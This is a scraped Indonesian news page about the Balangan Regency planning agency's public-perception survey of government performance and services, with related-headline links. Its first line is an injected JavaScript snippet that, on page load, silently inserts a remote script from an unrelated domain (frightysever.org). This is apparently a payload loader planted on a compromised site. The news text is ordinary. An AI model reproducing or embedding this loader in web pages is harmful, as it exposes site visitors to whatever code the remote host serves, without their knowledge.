(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALANGAN – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Balangan melakukan ekspose akhir kajian persepsi publik terhadap kinerja pembangunan dan pelayanan publik di Kabupaten Balangan, Rabu (4/10/2023).
Ketua Peneliti Studi Kebijakan Publik Universitas Lambung Mangkurat (ULM) Banjarmasin, Dr Taufik Arbain mengatakan, kajian survei ini merupakan inisiasi dari Bappedalitbang yang bekerja sama dengan pusat studi kebijakan publik. Survei dilakukan untuk melakukan percobaan pemetaan sejauh mana kinerja Pemerintah Kabupaten Balangan dalam pembangunan dan pelayanan publik.
“Bertujuan untuk menganalisis yang terpenting adalah rekomendasi apa yang harus dibuat ke depannya, kita memberikan apresiasi besar terhadap inisiasi yang dilakukan Bappedalitbang Balangan, karena selama ini biasanya penilaian kinerja itu dinilai secara internal oleh lembaga itu sendiri,” ujar akademisi Fisip ULM ini.
Dikatakan Taufik Arbain, berdasarkan survei yang dilakukan capaian kinerja pemerintah yang baik itu berkisar antara 70-80 persen, sedangkan sangat baik berada pada kisaran 10-20 persen.
“Ada beberapa catatan penting dibalik penilaian kinerja seperti fasilitas pengembangan kawasan wisata di desa kemudian pembinaan Bumdes, perbaikan infrastruktur jalan dan jembatan di desa agar lebih ditingkatkan, termasuk juga lapangan pekerjaan bagi penduduknya,” jelasnya.
Sementara itu, Kepala Bappedalitbang Kabupaten Balangan, Rakhmadi Yusni, mengatakan pergeseran peran pemerintah daerah menuju model demokrasi tentunya menuntut peningkatan kualitas pelayanan publik yang baik dan dapat diterima.
“Capaian pembangunan sudah ada, ada RPJMD yang diturunkan menjadi Renstra lalu menjadi RKPD. Lalu hal itu kita campur antara capaian dengan persepsi publik dan hasilnya tidak terlalu jauh antara 70-80 persen, dan yang pasti tentunya itu perlu kita cermati bersama lagi,” ujarnya.
Melihat dari ekspose ini, Rakhmadi menyimpulkan bahwa dengan adanya kajian tersebut dapat diketahui banyak sekali variasi cakupan pelayanan yang bisa dilaksanakan pemerintah daerah untuk dijalankan sesuai dengan model pelayanan publik yang ideal. (Kanalkalimantan.com/mcbalangan/adv)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.